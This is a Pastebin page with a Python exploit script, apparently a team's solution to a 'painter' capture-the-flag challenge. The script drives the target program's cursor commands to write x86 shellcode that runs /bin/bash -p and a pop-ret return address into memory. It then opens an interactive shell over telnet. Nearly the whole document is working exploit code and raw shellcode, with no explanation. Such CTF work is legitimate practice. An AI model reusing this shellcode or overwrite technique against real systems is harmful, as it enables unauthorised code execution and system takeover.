Guest User

painter-hackoverctf

a guest
Oct 18th, 2015
195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.95 KB | None | 0 0
  1. import socket
  2. from struct import pack,unpack
  3. from ctypes import c_int32
  4. import telnetlib
  5. import ctypes
  6.  
  7. #team:m33pWn
  8. #sung.ta
  9.  
  10. def sock(HOST, PORT, debug=True):
  11.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  12.         s.connect( (HOST, PORT) )
  13.         if debug: print "[+] Connected to server"
  14.         return s
  15.  
  16. def recvu(str,debug=0):
  17.     recv=''
  18.     while not str in recv:
  19.         tmp=s.recv(4096)
  20.         recv+=tmp
  21.         if debug:
  22.             print tmp
  23.         continue
  24.     return recv
  25.  
  26. def telnet(s):
  27.         t = telnetlib.Telnet()
  28.         t.sock = s
  29.         t.interact()
  30.  
  31. def send(s, m, debug = True):
  32.         if debug: print "[+] Send:", repr(m)
  33.         s.send(m)
  34.  
  35. def recv(s, debug = True):
  36.         m = s.recv(4096)
  37.         if debug: print "[+] Recv\n", repr(m)
  38.         return m
  39.  
  40. def recv_full(s, debug = True):
  41.         data = ""
  42.         while True:
  43.                 m = recv(s, False)
  44.                 data += m
  45.                 if len(m)<4096: break
  46.         if debug: print "[+] Recv\n", repr(data)
  47.     return data
  48. def p(m):
  49.         return pack("<I", m)
  50.  
  51. def u(m):
  52.         return unpack("<I", m)[0]
  53.  
  54. def send_fun(sock,ran,pay):
  55.     if(ran>0):
  56.         ran=ran+len(pay)
  57.         s=ran/40+1
  58.         a=s*40-ran
  59.         send(sock,str(s)+"s\n")
  60.         send(sock,str(a)+"a\n")
  61.     if(ran<0):
  62.         ran=ran+len(pay)
  63.         w=ran/40
  64.         a= -ran-w*40
  65.         send(sock,str(w)+"w\n")
  66.         send(sock,str(a)+"a\n")
  67.  
  68.     for i in range(len(pay)):
  69.         index=len(pay)-i-1
  70.         send(sock,"a\n")
  71.         mesg="p"+pay[index]+"\n"
  72.         send(sock,mesg)
  73.     return ran
  74.    
  75. def doexploit():
  76.     s=sock("localhost",1337)
  77.     rangetoshell=1013
  78.     rangetoreturn=0x349+4+4+4+4+4#  ebp ret pop ret +4
  79.     poprtn=0x804887d
  80.    
  81.     shellcode="\x6a\x0f\x58\x83\xe8\x04\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
  82.     ret=p(poprtn)
  83.     send_fun(s,rangetoshell,shellcode)
  84.     rannow=rangetoreturn-rangetoshell
  85.     send_fun(s,rannow,ret)
  86.     send(s,"q\n")
  87.     telnet(s)
  88.     s.close()
  89. doexploit()
Add Comment
Please, Sign In to add comment